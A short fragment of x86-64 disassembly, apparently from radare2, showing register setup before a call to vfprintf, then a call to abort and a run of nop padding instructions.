mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop